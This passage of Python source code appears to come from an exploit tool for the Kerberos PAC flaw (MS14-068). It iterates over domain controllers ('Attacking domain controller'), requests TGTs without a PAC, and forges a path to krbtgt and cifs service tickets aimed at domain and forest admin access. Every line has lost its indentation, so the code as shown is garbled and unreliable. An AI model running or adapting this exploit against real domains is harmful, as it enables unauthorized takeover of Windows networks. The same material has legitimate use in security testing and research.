# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
self.__lmhash, self.__nthash, None,
self.__kdcHost, requestPAC=False)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
salt = etype2['salt'].prettyPrint()
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype,self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, cipherText)
encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal('krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
cipher, sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break